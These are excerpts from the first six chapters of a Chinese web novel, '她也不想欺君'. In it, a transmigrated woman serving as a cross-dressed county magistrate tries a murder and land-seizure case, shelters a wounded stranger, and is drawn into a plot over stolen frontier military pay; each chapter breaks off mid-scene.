《她也不想欺君》 1. 七品县令 《她也不想欺君》全本免费阅读 浓墨般的云层叠翻滚,忽闪的雷光若隐若现。 丰泽县衙门内院,青石板上乌泱泱站着一群人,脸上神色各异,却都出了奇的安静。 视线落在紧闭的房门上,好似想透过扇门看清内里的情形。 不多时,一声痛呼从屋内道出:“我的孙儿啊。” 外面的人面面相觑,随后齐齐跪地,掩面而泣。 扇门被推开,大夫浑身是血的迈步而出,神情疲倦的对着门框旁的管家道:“郎主伤及心脉,恐无力回天,早些准备吧。” 管家一愣,脸色霎时苍白。 大夫的话像是一道惊雷般,屋内传来重物倒地的声音,管家急忙进屋料理,整个内院彻底乱了。 细密的雨水并着惊呼声落下,在青石板上聚成浅浅的积水,纷至沓来的鞋底毫不留情的踩下,溅起混浊的水花。 沉闷的室内,苦涩的药香伴着血腥味儿蔓延。 床榻上原本失了呼吸的人竟猛地一咳,随即剧痛由心脏处向周围席卷。 嘈杂的声音通通入了她的耳,将她的意识从昏沉中拉拽出来。 梁温苍白无色的脸上皱起了眉,眼皮挣扎许久才缓缓睁开。 才安顿好老夫人的管家惴惴地踏入房内,抬眼便对上了梁温失神的瞳孔,心下一惊快步走至床榻边,将床榻上的人打量清楚,随即对外面高喊:“快去将大夫拦住带回来,郎主醒了。” 梁温往那管家身上瞥了一眼,再次昏了过去。 等再次醒来时,屋内依旧是弥漫着苦涩的药香,不见旁人的踪影。 梁温疼得指尖发颤,细密的薄汗从颈间生出,一时竟不能明了自己如今的处境。 敛着声息,视线在四周环视。 轻便的脚步声由近及远,门框发出嘎吱声响。 身着灰袍的年轻仆从推门而入,两人视线相撞,梁温看清了那人眼中闪过的欣喜。 那仆从咧着嘴角,欲转身唤人。 梁温哪能如他所想,心下思索一番,便朝他开口:“噤声。” 声音有些小,却足够那人听清。 那人一愣,转身向她走来,垂着头弯着腰,向她低声道:“郎主,您可终于醒了。” 梁温瞥了他一眼,随即收回视线。 心里腹诽,醒的可不是你家郎主。 那人偷偷瞄了眼梁温脸上的神情,才接着开口:“郎主如今醒了,奴便去唤大夫给您瞧瞧,老夫人那里也该通禀一声,她担心的紧。” 梁温双眼冷情,偏被日光映出两分光亮:“先别去。” “你叫什么?”梁温再次问道。 那人很是错愕,迷惘地抬眼望她:“奴叫元宝,郎主您这是怎么了?” 梁温顾左右而言他:“是个好名字。” 足够旺财。 元宝又裂开了嘴:“那是,这名字还是郎主您亲自取得。” 梁温不搭言:“元宝,你从什么时候跟着我的?” 元宝心下疑惑,却还是答道:“打郎主五周岁生辰宴后奴便跟在您身边了。” 梁温心里有了些许成算:“给我讲讲我从小到大身上发生的所有事,尽量讲细些。” 元宝没敢多问,耐心细致的赘述着。 等他说完,日头都西斜了。 梁温疲倦的闭上眼:“出去吧,我醒了的事别和任何人说,就当我还昏着。” 元宝应了后便提脚离开了,没过多久暗中端来一碗清粥。 梁温没说什么,她也确实饿了。 元宝出门后并未走远,侧着身子在廊下守着,虚影投在门窗上。 倒是机灵。 床榻上半晌儿没有动静,帐子已被落下,遮掩了内里的身形。 梁温抬起右手搭在左手上,感受到指腹下跳动的脉搏,这才有了实感。 她,真活了。 原本她正在调查某矿场过度开采的事件,结果那群黑心开发商贪便宜连最基础的安全保障都不提供,矿洞挖采过度,发生了塌方,她也就此一命呜呼。 再醒来,便穿到了原主身上。 梁温抬手抚向胸口,柔软的起伏被厚重闷热的布条束缚。 结合元宝说的话,脑海里只剩下两个字——欺君。 梁温抿紧唇,还真是胆大妄为。 梁家人口凋敝,梁家祖父出身微末,官拜正四品正议大夫,还算是个有本事的。院内并未纳妾,祖母膝下只有一子,便是梁温亲父梁旭川,他倒没继承祖父的才智,也没什么本事,靠着祖父的关系官至六品,没上任几天便去了,死的很是蹊跷。 祖父原本就重病在身,听到死讯一时没缓过来,也去了。 时年,梁温亲母徐氏正怀着她,当即便动了胎气,硬挺着将她生下后难产也没了,徐氏娘家倒是想照拂一二,可惜夺嫡站错了队,不久便落了个满门流放的下场,流放之地自古苦寒,哪里是一群娇养长大的人能耐得住的,不到两年便没得差不多了。 这下只剩个祖母,忍着哀痛,将她真实性别掩去,对外称喜获孙儿。一手将她拉扯长大,教她念书识字,教她礼义廉耻,最后靠着祖父在官场上仅剩的微薄情谊以及朝堂上卖官鬻爵的风气,竟真买通了官员成功入了科考之路。 原主别的不说,脑子一等一的好用,金榜题名,荣登殿试因着姣好的面庞喜获探花郎,最后被圣上点名赐官时不知心下如何想的,自请外放为官。 洋洋洒洒表了忠心,说的皇帝顺心又顺耳,竟也应了,至此原主成了七品中县令,赴职丰泽县。 还没上任多久,街上就出现了袭凶事件,派人处理一时不察便被一刀捅了心窝。 再睁眼,便是如今的梁温。 还真是,棘手啊。 梁温分析了现下时局,一时也想不出个良计。 别的不说,但凡沾了欺君二字,便是诛九族的大罪,虽然原主这九族里只剩下她与祖母二人。 梁温越想越精神,待理清了思绪,便听到外边传来声响。 “裴安可醒了?”这声音一听便是元宝口中的老夫人,也是她这副身子的祖母。 裴安是梁温的字,也是她祖母取得。 “郎主还昏着。”元宝恭敬的答道。 梁温听着,还是得见梁老夫人一面。 如今诸事不明,单听元宝一人之词或许有失偏颇,还是要亲眼见见才行。 随即轻咳出声,外面听到动静,推门而入。 “裴安,你醒了?”人未至,声先到。 烛台被点燃,梁温也看清了来人是何模样。 面相柔和,眼角有泪光,打眼瞧去便是个极为和善的,就是不知表里是否如一。 “祖母。”梁温安分的回答,她脑袋里一片空空,也不知原主和梁老夫人平时是如何相处的。 梁老夫人给她掖了掖被角,握住她的手,痛心道:“苦了你了。” 梁温遮掩住眼里的探究:“孙儿没事。” 梁老夫人 2. 断案除害 《她也不想欺君》全本免费阅读 梁温看了两眼状纸,给身旁的衙役递了个眼神。 衙役目不斜视,没接收到来自梁温的讯息。 梁温心里叹气,干脆的将案桌上的状纸拿起,递到旁边的衙役跟前:“念。” 衙役这才接过,清脆爽朗的大声念出。 了解完来龙去脉,梁温沉思着没说话。 夹杂命案,怪不得这般急切。 梁温努力辨认着状纸上的字:“告状人和状告人何在?” “皆被带到,现在堂下等候。” 梁温落下两个字:“升堂。” 堂役闻讯而动,在堂鼓上敲击三声,衙役两厢饲立,齐声高叫:“升堂。” 县衙门口聚拢大量平民百姓,伸高脖子往里探。 大堂门口两道身影迈入,在两块跪石上分别跪落。 “民女柳薇叩见县令。”身姿直挺,只脖颈微弯,吐字清晰,透着恭敬。 “草民张衷栩叩见县令。”嘴角擒着笑,不屑的瞟了一眼旁边的女子。 梁温神色淡淡,看向堂下的女子:“所告为何?” “民女柳薇一告张衷栩罔顾王法,侵占公田,二告张衷栩强抢民女,谋害发妻,三告张衷栩瞒报人口,私自匿税。”柳薇低垂着头,有条不紊的道出。 张衷栩直接挺胸抬头,怒视反驳:“一派胡言。”随后叩地高声道:“梁县令,草民冤枉。这女子是我们府上请的医女,许是给的银钱不够,才在此栽赃陷害啊。” 柳薇无视他的痛斥:“县令,民女所言,句句属实,我有人证。” 梁温调整姿势,饶有兴味的盯着柳薇:“证人何在?” 衙役朝外喊到:“传证人。” 又是四五道身影,佝偻着脊背,讪讪的往里走,二话没说直接跪在地上。 最靠边的老人满脸涨红,颤颤巍巍的开口:“县令,草民可以为柳医女作证啊。前年草民在田上耕地,张府城南庄子上派了一群人来,张口闭口就要轰我们,说我们所种田地是他们的私田。我们真是冤枉啊,我们种的一直都是分下来的公田啊。可他们不听,还打伤我儿,导致他不治而亡啊。” 张衷栩这才开口:“县令,草民并不知情。我们府上的庄子并非我管,许是下面的人不老实,等我回去就料理他们。” 梁温瞥了他一眼,又看向柳薇:“这是一罪,然后呢?” 又是一道身影向前跪走两步:“县令,贱民原本是张府的下人,因着做账不错,做了府上的账房先生。张府和上任县令攀上了关系,主动让利三成来躲避纳税,明面上他们要我做公账,暗地里还有另外的账本。贱民不小心走错了地方,误听张大郎君和别人的交谈才知张府瞒报人口,私自匿税,差点丢了性命,多亏柳医女的救治,这才保住一命。” 张衷栩面色狰狞了一瞬,很快便收敛:“县令可要明察秋毫,不过一个奴才,他的话可并不能叫人信服。这奴才我有印象,他偷了账上的银子才被我赶出府去。留他一命已经是心慈,却不想一时好心却抵不住狼心狗肺的小人。” 梁温还是不搭言:“这是二罪,还有呢?” 话音刚落,便见张衷栩怒然起身:“县令,草民说了,这不过是他们的合谋,目的就是为了敲我们一笔。” 梁温被他吼的头疼,看向了旁边的衙役。 衙役这回懂了,走到张衷栩跟前伸手将他压跪在地上。 梁温这才不咸不淡的道:“公堂之上,还是肃静点的好。” 柳薇看着张衷栩的动作,嘴角泄出冷笑:“这第三罪则与民女有关。两年前民女与姐姐柳惠逃难路上分离,柳惠初到丰泽县便被张衷栩看上直接强娶回府,不到半年人便没了,仅仅过了半月,张衷栩便重新娶了妻子。” 柳薇话落,她旁边跪着的女子抬头,泪流满面,白皙的脸上满是疤痕。 “县令,贱民是夫人的大丫鬟,当年夫人被上面的官员看上,张大郎君便主动将人交了出去,夫人回来之后不甘其辱与张大郎君争辩,不小心说漏嘴要将他告官,将这些年他的所作所为公之于众,张大郎君恼羞成怒将夫人推下池塘,溺毙而亡。” 张衷栩冷哼一声:“县令,贱内姓李可不姓柳,我家族谱上记载的可是张李氏,而不是张柳氏。” 张衷栩破开衙役的禁锢,再拜:“县令,柳医女请来的这些个证人只是口头上的说辞,却并没有实证。要我来说,我还要告他们图谋不轨,欲陷害于我。” 漏洞百出,拼凑不出完整的事件。 但其实很好验证他们口中的说辞是否真实,关键就在于张家田地面积,账本以及柳惠这个人。 梁温听完,视线在堂下逡巡一圈,众人神色各异。 心里思索,断案她不会,但是证据她会找。 朝身旁的衙役招手,在他耳侧轻语。 衙役惊诧的看着她,最后低头退下。 县衙安静下来,大门口处的喧嚣便愈发明显。 梁温整理衣摆,退出公堂,身后还跟了一名衙役。 “先别跪了,候着吧。”话音落下,身影便消失在公堂。 堂下跪着的人都有些莫名,以往断案可没这章程。 门口拥堵的百姓张望的更加起劲,嘴里窃窃私语,不知这县令是怎么回事,不赶紧断案,还直接离堂了。 柳薇也不知梁温这般是为何,但她莫名觉得,此番不会白来。 两刻钟后,便来了传话的衙役,身后还跟着好几名狱卒。 柳薇等人被分散带走,张衷栩被带走时脸色大变,嘴里吵嚷着冤枉。 混在百姓里的一个壮汉见状,不做声的跑了。 张府门外,那个壮汉从角门而入,一路直冲书房。 “员外,情况有变,郎君已被狱卒抓了。” 张员外拍桌而起:“什么?” 张员外心头一紧,目光落向角落里的堆积的画卷,随即负手而立。 他收回目光,眼里露出阴桀:“我便去瞧瞧,看看咱们铁面无私的梁县令是怎么断的案。” 张员外走后,几道身影从窗外掠进。 梁温去了县丞衙,唇边饮着清茶,分毫不看行礼作揖的县丞一眼。 县丞等的额头冒汗,实在摸不清楚了这新上任的县令。 屋里的门没关,衙役快步而来,将手中的一叠纸递交给梁温。 梁温没接,粗略的看了一眼,这才看急得向火烧眉毛般的县丞:“马县丞是吧。” 县丞的腰更弯了:“哎呦,梁明府这是折煞下官我呢。” 梁温又给自己倒了一杯,想到张府与他之间的晦暗交易,再看他脸上一副惶恐样,冷笑一声:老狐狸,净会装蒜。 不是什么好鸟。 “马县丞,识字吧。” 县丞丈二摸不着头脑:“这…这自然是识得的。” 梁温看向衙役手中的纸:“那念吧。” 县丞怔愣一瞬,随即反应过来,接过纸张,一字一句读出。 每多读一个字,眼里的凝重便多一分,声音也不自觉沉了下来。 待读完抬袖擦擦汗:“明府,您这是?”< 3. 野人登门 《她也不想欺君》全本免费阅读 梁温环视了众人一圈:“五年前,张家声名不显,算不上显赫富贵,是与不是?” 张员外嗯了一声,“是,我张家这些年才起来,这多亏了我张家子弟。” “张员外有一爱女,嫁与皇商主管李家小郎君,是与不是?” “是。”这是众所周知的事,张员外没法否认。 “令爱出嫁后三次回府,最后一次与你拟了断绝书,从此张家族谱再无此人,是与不是?” 张员外脸色难看起来,声音从牙缝里挤出来:“是。” “张衷栩院中有过柳姓娘子,是与不是?” “是。” “城南庄子上的管家与张衷栩是什么关系?” “那庄子是她娘留给他的产业,我从不插手。” 梁温直视张员外,最后问:“张衷栩私自匿税,侵占田地之事你可知?” 张员外双眼一眯,看向脚边跪着的张衷栩,哽着咽喉:“……绝无此事。” 梁温指尖摩挲着木匣子,“张员外,本官现在给你断断这案,你可听好了。” “五年前,张家与皇商主管李家攀上关系,并设计李家幺儿娶了令爱,从此得借财势一朝翻身。” “张衷栩借着这势头在外目无法纪,开赌坊聚众赌博,逛青楼喝花酒,强占民女,无恶不作。被上任县令盯上后你用银钱贿赂并要求令爱回府料理,以免心心爱爱的小儿子遭受牢狱之灾。” “令爱借助皇商主管的名头压下此事,但张衷栩并未收敛分毫,两年前利用母亲给的庄子做掩护,私下里派管家逼迫平民百姓,侵占公田,并闹出命案。张员外心知肚明,再次将令爱召回以亲缘关系逼迫她料理。” “张衷栩两次无罪释放自是得意,行事更加肆无忌惮。后来看上了柳惠,见她孤身一人便强抢回家,但并未在族谱上记名。柳惠被更加有权势的人看中,张衷栩为了攀上关系主动将人送了出去,但柳惠又被送了回来并与他发生争执。争吵间柳惠无意中泄露出她要往上报官告发张衷栩这些年的所作所为。张衷栩被激怒,将柳惠推入湖中,以此了断性命,正好被柳惠的丫鬟看到。” “丫鬟一路逃到县衙,却不知上任县令早已被张府收买。危急关头被柳薇相救,柳薇因此得知柳惠下落及死因。柳薇暗中散播张衷栩杀妻一事,引得丰泽县议论纷纷。” “眼看事情压不住了你便想了一计,为张衷栩暗中娶一妻子破了那些流言。你不愿委屈自己儿子随便娶个乡野丫头,但也心知肚明没有好人家愿意将女儿嫁与张衷栩,便以断绝书来求爱女最后护张衷栩一次,为他谈成一门亲事,到时张衷栩妻子一露面,议论便不攻自破。” “断绝书签了,张衷栩的事又被压下来了。直到半月前张衷栩与庄子管家谈话被账房先生听见,欲杀人灭口,却被暗中盯着张府行动的柳薇救下。恰逢新官上任,张府还未来得及行贿,这才有了今日一事。” 张衷栩听完全程心下有些慌乱,左手拽住张员外的衣角。 张员外拒不承认,“梁县令,这只是你的猜测,无凭无据,你这案怕是断不下去。” 梁温看着他,嘴角露出温和的笑来:“怕是让你失望了。” “证据,我有。这案,我也能断。” 话落,梁温将那木匣子打开,几册账本和那一封断绝书被送到张员外身前。 那些账本,都是记录张衷栩通过庄子占田所得的银钱以及私开赌坊的收支记录。 在这里,赌坊可是禁止由民间开设的。 梁温又拿起另外一摞纸张,上面详细道出张衷栩这些年的所做所为,这是她派出的狱卒从柳惠屋里翻找到的。 手腕一松,纸张纸张尽数掉落在张衷栩面前。 “你在柳惠死后可踏入过她的屋子半步?”还没等张衷栩出声,梁温便自行回答:“许是没有,要不然我的人也不会在软枕下搜到这些。” 张衷栩浑身一软,瘫坐在地。 当然没有踏入半步,当年柳惠死后,他便下令将院里所有的奴才秘密处理,将院子封了起来,只是没想到当年竟没处理干净,没想到柳惠还真有那个本事能拿到他们张府藏污纳垢的凭证,还漏下了柳惠身边的大丫鬟。 外面围堵的百姓看了一场大热闹,兴奋的议论着,张嘴闭嘴就是对张府的唾骂以及对张衷栩残害过的可怜人的同情。 衙役递话:“县令,张家庄子主管来了,有要事相告。” “带上来。” 一男子身着灰色圆领袍衫,算不上俊逸,看着像是个老实人。 “县令,草民刘元状告张衷栩侵占公田,欺压百姓,草芥人命。” 张衷栩似乎不敢相信自己偷听到的,转过头去:“你在胡说八道什么呢?” 庄子主管不看他,平静的道出:“草民原为城南农户,家中不算富贵,却也和睦,后娶一良妻,相敬如宾,和满美好。直到三年前我妻子去县里买布却再没回来,我一路打听才听到有人说张员外家大郎君将人带走了,等我赶到张府时只见一具尸体裹着白布扔到了乱葬岗,那正是吾妻,她因不堪受辱一头撞柱而亡。” “我将妻子背回下葬,后听到张府城南庄子上招工便去了,一心往上爬到主管的位子,只为有朝一日为我妻子报仇。” “草民助纣为虐,自知罪孽深重,望县令秉公办案。” 说完,便将怀中账薄交出,正是侵占公田的凭证。 “刘元你个畜牲,亏我那么信任你。”张衷栩接受不了身边人的背叛,怒骂出声。 张衷栩回神,慌张的拽着张员外的衣摆:“爹,你救救我,你去帮我找阿姊,她不会不管我的。” 张员外满脸疲态,狠下心偏过头。 张衷栩脸色煞白,连跪带爬的去扯梁温身子:“梁县令,你放我一马,我将可以将张府的家财奉上。” 衙役见状,直接将他双手一折压跪在地。 柳薇一脸嘲讽的看着状若疯癫的张衷栩,当众贿赂官员,是嫌死得不够快吗。 梁温被他一扯,胸口的刀伤又疼起来,她皱眉,接着开口:“张员外,溺子如杀子,如今证据确凿,张衷栩便是半点活路都没有。” 她轻拍醒堂木,“张章之子张衷栩草芥人命,侵占田地,私自匿税,多罪加身。按我朝律令,张衷栩当立斩不赦。张章知情不报,为虎作伥,按我朝律令,当告不告,判刑两年,收押入狱。刘元助纣为虐,但举证有功,判刑两年,收押入狱。” “张府家产,尽数充公。”梁温又补充了 4. 有所图谋 《她也不想欺君》全本免费阅读 血腥味儿渐浓,梁温移开视线落在他的肩上,箭杆刺穿臂膀,箭镞被他折下捏在指尖把玩。 梁温抬手指向床帷侧面,那处立了檀木柜,与墙沿还有空隙:“去那边。” 野人打眼一瞧,笑出了声:“呵……你倒是真会找。” 梁温所指之处未置灯烛,狭窄的方寸仅够幼童贴墙而立,倒真是一处藏人的好地方。 野人不动,梁温也不动。 目光相撞,幽幽烛火下,眼瞳倒映着对方的身影。 袖口的布料被血浸透,血珠顺着掌心指骨滑落,坠在地上。 真刺眼。 梁温蹙眉:“你弄脏了我的屋子。” 野人不应声,倒是起身去了那狭窄的空隙旁,没将自己藏进去,只是虚倚着墙,闭目休憩。 梁温看他泛白起皮的唇,还真是不怕死啊。 “元宝。”梁温推开一条门缝,朝着院外喊了一声。 元宝快步赶来:“郎主。” 梁温捂着胸口,寻了个由头:“去将姜大夫寻来,我的伤口裂开了。” “是,奴这便去。”元宝俏生生的脸上满是担忧,也顾不上礼节,两条腿倒腾的飞快。 一盏茶的功夫,房门便被敲响:“郎主,奴将人带来了。” “元宝在门外守着,姜大夫进来就行。”梁温装模做样的捂着胸口,脸上却寻不到一星半点的痛意。 门被推开,带进些许凉风。 元宝抬眼向里望了望,见只有梁温后才安心将门阖上。 姜岳衡,梁老夫人年轻时捡的乞儿,后来送到了药堂学医,添了一身看病救人的本领。梁温被梁老夫人养做男儿时,他便被请了回来,常伴梁温左右。 “姜叔。”梁温唤了一声。 私底下,梁温便唤的亲切一些,这是梁温从元宝口中得知。 姜岳衡嗅觉敏锐,空气中弥漫着血腥味儿。 姜岳衡粗犷的声音急切了几分:“听元宝说郎主的伤口裂开了,快让我瞧瞧。” 梁温看向昏暗的角落:“不是我,是他。” 闻言,姜岳衡转过身,皱着眉头看他走出:“这又是谁?” “天上掉的,无名无姓,是个野人。”梁温张口便来。 “这……”姜岳衡一瞬不知该说什么。 野人倒是开口了:“我姓苏,家中行三,叫我苏三吧。” “姜叔,您给他瞧瞧,别让他死了。”死也别死这里,不知他来路,凭白惹一身腥。 “苏郎君坐吧,我给你看看。”姜岳衡不是多管闲事的人,梁温让他处理伤,他便只处理伤,其余一概不问。 残破的胡服被解开,露出精壮的胸膛,疤痕交错,深深浅浅的,看着骇人。 后背有两道深可见骨的刀伤,皮肉沾着污泥,血倒是没再流,肩膀上残存着半截箭杆。 姜岳衡自认见过世面,却也没碰到过这样的人:“会有点疼,你忍忍。” 苏三嗯了一声:“没事。” 梁温拐至门边:“元宝,打一盆温水来。” 没等元宝推门而入,姜岳衡便出门接过铜盆进来,没让元宝瞧见里面的状况。 姜岳衡先给他扎了几针,止住了血。 他洇湿干净的麻布,小心的擦拭着伤口周围,随后将烧红的针穿线为苏三后背刀伤缝合。 伴随着剧痛一同袭来的是瞬间冒出的冷汗,苏三右手攥拳无声忍耐着。 等后背的伤口处理好,姜岳衡罕见的有些手抖,铜盆清澈的水逐渐混浊,洁白干净的麻布上一半浸了血。 姜岳衡目光落在他肩膀上,缓缓吐出一口气来:“我要拔箭了,你稳住身子别动。” 他握住裸露在外的箭杆,用力向外抽出,少量血液迸溅,姜岳衡又扎了几针,止住了血才上药包扎。 梁温看了全程,拔箭时有一滴血溅到了她白嫩的脸颊,她垂眸抬手抹去。 再抬眼,撞上了苏三的眸子。 黑沉沉的。 梁温移开视线,端起桌沿的杯子饮了一口。 好像,眼睛也挺漂亮的。 姜岳衡忙完,又借着梁温桌案上摆放的纸笔誊写出药方:“郎主,我先退下去给他煎药。” 说罢,便想走。 梁温拦住了他:“姜叔,祖母年纪大了,不宜整日为我操劳。今日之事,便莫要向她呈报了,总叫祖母为我劳心费力,我心实在不忍。” 姜岳衡低头拱手:“是,今夜郎主叫我来只是行动间扯到了伤口,我来包扎一番,再无旁事。” “去吧。”梁温放人。 还没等姜岳衡走两步,便又被梁温拦住了:“想个理由让元宝送水到偏房。” “是。”姜岳衡终于快步离开,走前对着守在院外的元宝道:“给郎主备水,我要给郎主准备疗养的药浴。” 元宝有点懵:“郎主那么深的口子也能泡药浴吗?” “别问,我是大夫你是大夫……”姜岳衡声音渐消。 梁温再次将视线转移到赤/裸着胸膛的男人身上,皱着眉起身去柜子里找出一身干净衣裳扔给他。 “说吧,你来找我的目的。” 苏三被扔了满头,废了点力气将衣服半披在身上:“我能有什么目的,我只是随便找个府邸躲藏追杀而已。” “随便找个府邸?”梁温听得想笑,他拿她当傻子吗。 “你说你只是随便找个府邸,便找到了县衙内院来,是吗?” “是啊。”苏三拢了拢衣襟。 “不仅随便找到了县衙内院,还在一众庭院中找到了我的院子,并在院子的一众屋子里找到了我的那间,是吗?” “是啊。” “我不是傻子。”梁温声音冷下来。 苏三看她:“我可没这么说。” 梁温懒得跟他废话:“你到底来干嘛的?” 苏三掀眸,眼瞳被幽幽烛火映出光亮:“我来和你谈一比交易。” “我可不是商人。”梁温不咸不淡的驳了他的意。 苏三语气幽幽:“梁娘子不妨先听听,再作打算。” 梁娘子…… 梁温目光一凝,他在威胁她。 “你说,我听着。” 苏三冷冽的声音在房间散开:“梁县令女扮男装十八载,踏上官场,背了欺君之罪,但凡走漏了风声,可是要株连九族的。” 梁温不接茬:“我没九族,要株也只能去地下寻人了。至于我和 5. 混账东西 《她也不想欺君》全本免费阅读 月白的圆领深袍着身,下摆绣着暗纹,盘领松散着,腰间未系銙带。原本糟乱的发也柔顺的垂落,身上的泥垢被洗净,露出原本的样貌来。 他身形挺括,高出梁温一头有余,身上的衣袍不合身,露出一截皓白的腕骨。 眼皮还泛着红,落在冷白的皮肤上,柔和了硬朗俊逸的轮廓,似雪中一点红梅。 他径直走到桌边,倒了两杯清水,转身朝着梁温走去,将其中一杯送到她面前。 梁温接过,浅饮了一口:“现在可以说了。” “幽州地处边界,常年受外敌侵扰,时刻秣马厉兵。那地界特殊,本镇赋税不上缴直接用作军饷。但田地贫瘠,干燥大风的境况,使那地不易粮食耕作,故幽州节度使年年上报求援。” “圣上忌惮关外已久,一听此事心里自是忧思,特派户部调拨军饷救济,多年来相安无事。直到这两年,朝中调派军饷皆被盗,派送的队伍下落不明。数额太大,加上近两年战事吃紧,圣上恼怒不已,特派刑部追查。”苏三为自己寻了个昏暗的位置,遮掩着身形,将情况缓缓道出。 梁温目光带寒:“你想让我去接近幽州节度使?” “是。”瓷杯致雅,盛不了多少清水,苏三很快饮尽。 梁温嗤笑一声:“您还真是高看我了,我可没那本事。” “你有。”苏三说的笃定。 梁温差点就信了:“我哪有?你说来我听听。” “今日公堂上,你料理了张家,这便是你的投名状。” 苏三不再多言,梁温却细细回想。 张家行事嚣张,能撑到现在只因上任县令的包庇,而今靠山不在,自是墙倒众人推。 柳薇携证人报官,柳惠遗留证词,庄子主管及时检举揭发,轻而易举便得到的账本。 太顺了,顺的有些蹊跷。 当时不觉什么,如今细细推敲,却徒生诸多疑点。 张府的人真的会那么蠢的自报家门,就算张衷栩真的愚蠢,张员外可是精明的很。 梁温偏头看向窗外,窗前种着一棵野桃树,此时冒了嫩芽。 云层遮掩了清辉,偶有料峭的寒风裹挟而入。 梁温习惯性的摩挲着指腹,脑海中又将今日发生之事重新筛了一遍。 终于,她指尖顿住,回过头来:“幽州节度使与皇商孙家有来往。” 苏三抬眸:“还不算笨。” 梁温脸色有点不好看,看来这局她是不入也得入。 不仅是眼前的苏三想拽她入局,还有暗中推手在谋划着。 梁温想到那一纸断绝书,这哪是证据,这明明是抛出来的饵。 张家幺女嫁与皇商主管李家,两家多少有了牵扯,谁又清楚孙家在里面扮演了什么角色,总之脱不了干系。 而今她将张府料理了,李家作为亲家自然有理由名正言顺来访,管他是赔罪还是撇清关系,总归是有了一个由头。 一个与县令私下交谈的由头。 梁温想到了上任县令与张府的私下交易,心中倒有了几分猜测。 “幽州节度使与孙家私下来往甚密,不外乎两种可能。一是幽州常年戍边,战事四起,钱库吃紧,幽州节度使囊中羞涩私下与孙家有商事交易,二是幽州节度使与孙家密谋造反,需要大量钱财购置军需。” 梁温双目直视他,毫无顾忌的将心中所想道出。 苏三应声:“嗯,推敲的还算在理。” 梁温这便有些不懂了:“那这与我何干,我一个七品官,就算再有通天的本领也不能叫他们瞧上眼吧。” 苏三叹了口气:“你这县令当的还真是糊涂。你不够份量,可丰泽县本身就足够勾人。” 梁温想到什么蓦然挺直身子,快步走到床榻边,从里侧掏出巴掌大小的木匣子。 里面是陈旧的羊皮卷,在桌案上摊开摆放,绘制的正是幽州舆图。 “这是上任县令遗留的。” 实则不是,这是梁温醒来后便摆放在床头里侧的,放的隐蔽,应是原主特意藏的。 但她不知私藏舆图是否有罪,索性将这些全部推到上任县令身上,反正人已经没了,死无对证。 梁温视线落在一隅,那里刚好是丰泽县的地貌——山峡。 在想起他提到的幽州军饷被盗案,梁温心中有个惊惶的猜测。 “你还真是会算计。”梁温看他似毒蛇猛兽,松快的心也绷紧了几分。 苏三有点好奇:“你想到了什么?” 梁温反问道:“幽州节度使与孙家勾结,欲图谋反。孙家为幽州节度使做事,提供钱财购置军需,是与不是?” “有待查证。” “幽州节度使向朝廷求援只是明面上的遮掩,他们是想通过这样的方式来蒙蔽圣上的耳目,从而遮掩他们欲起兵谋逆的事实,是与不是?” 苏三还是那句:“有待查证。” “丰泽县处在幽州与河东边界,且地貌特殊,官道两旁皆是高耸直立的山崖,为了防止山匪强寇侵袭,便常年派兵把守,外界若是想入幽州必须得过丰泽县。而丰泽县外便是山峡,若是买通了官员,在这里劫道可是轻而易举的事。幽州节度使和孙家通过张家拉拢上任县令就是为了暗中截下军饷,是与不是?” “我说了,有待查证。” 梁温瞧他嘴角勾着笑,心里不知作何感想。 没成想,如今她也成了香饽饽。 一个两个的,都找上了门。 都说盛京水深,可置身官场哪里就有水浅的地方。 梁温接着道:“上任县令被查,幽州节度使与孙家的便利便没了。而恰逢我走马上任,他们自是要寻新的路子,而张家便是他们送给我的敲门砖,既叫我立稳了县令的威名,又与我攀扯上了关系。” 心里想通了,梁温便更不悦了:“真真儿是好算计,他们怎么就这么笃定我会与他们同流合污。” 话落,便想通了:“是了,我虽无旁的亲族,但祖母一人在我心中便是极为重要。” 梁温想起元宝口中那个极为孝顺的原主,若是他们以梁老夫人为要挟,原主一定不会不顾祖母安危。 可惜了,梁温可不是个喜欢由人随意拿捏的。 她就只想安生的活着,却总有人想要将她往浑水里拖。 怎么就这般不长眼,她看起来很好搓扁揉圆吗,也不怕引火烧身,尸骨无存。 梁温懒得猜了,她还有伤在身,不宜忧虑过度:“他们之间的勾结你一清二楚,我又能起到什么作用?” 苏三的手落在舆图上:“我说过,我要你查的是幽州军饷被盗案。” “你想知道这批军饷的流向?”梁温对上他的目光。 苏三抱臂说道:“是,既然他们给了你投名状,你便去会会他们,顺便查清这批军饷的流向。” 梁温猜测他心 6. 油嘴滑舌。 《她也不想欺君》全本免费阅读 箭镞他没带走,依旧留在案桌上,梁温冷然的看了许久,拿了张草纸盖住。 眼不见为净。 她褪去身上的外衣,灭了屋内烛火,将自己埋进绵软的被褥中。 而回到偏房的苏瞿白刚坐到床边,便见窗纸被人用手指抠破,露出个小孔来。 随后,他便见那小孔处露出一只黑白分明的眼,在房间里四处张望。 “滚进来。”苏瞿白一改之前的温和样,眼里露出赤/裸/裸的肃杀意味,嗓音也不再清冽,转而变得低沉暗哑。 窗扉猛地被抬起,又无声落下,屋内赫然多了一道半跪的身影。 “主子,属下办事不力,害您被察觉。”他低垂着头,偷偷瞄了眼苏瞿白,却对上他的目光,赶紧低头收回视线。 苏瞿白看着跪在自己身前的下属,突然有些头痛:“陈虎,没有下次。行了,起来吧。” 陈虎起身:“主子,接下来您有什么打算?” “我要先留在这儿,至于你……”苏瞿白思量一番:“你继续盯着那边,有任何风吹草动立刻来报。” “是。”陈虎利索应到,随后想起什么,将身后挂着的刀取下。 “主子,您的刀我取来了。”他将刀鞘外裹着的黑布解下,一柄泛着暗泽的长刀露出全貌:“要不是带着这刀太过显眼,主子你哪会被他们打的那般狼狈……” 苏瞿白眼中寒意渐深,陈虎收敛声音,咽下肚子里还没道出的话。 是了,主子是个极要面子的。 这么说,主子的颜面何存。 他了然,又道:“属下说错话了,主子这般勇猛的男儿,哪里会让人欺负,只有主子殴打别人的份。” 苏瞿白忍不了了,话音从牙缝中挤出:“闭嘴。” 陈虎立刻闭嘴,识时务者为俊杰,这个道理他可太懂了。 “追风还没有消息?”苏瞿白接过长刀。 陈虎立刻递上一块干净的棉布:“没有,估计如主子所料一般被困住了。但主子也不必担心,追风的功夫那是一等一的好。” 苏瞿白将长刀从刀鞘中拔出,拿着棉布擦拭着刀身:“孙家呢?” 陈虎手底下的人将孙家围得那叫一个密不透风,连孙家人几时如厕他都一清二楚:“最近也老实,安安分分没再搞什么鬼动静。” 苏瞿白顿住了手下的动作:“你先下去吧,我要在这里留一段儿时间。” 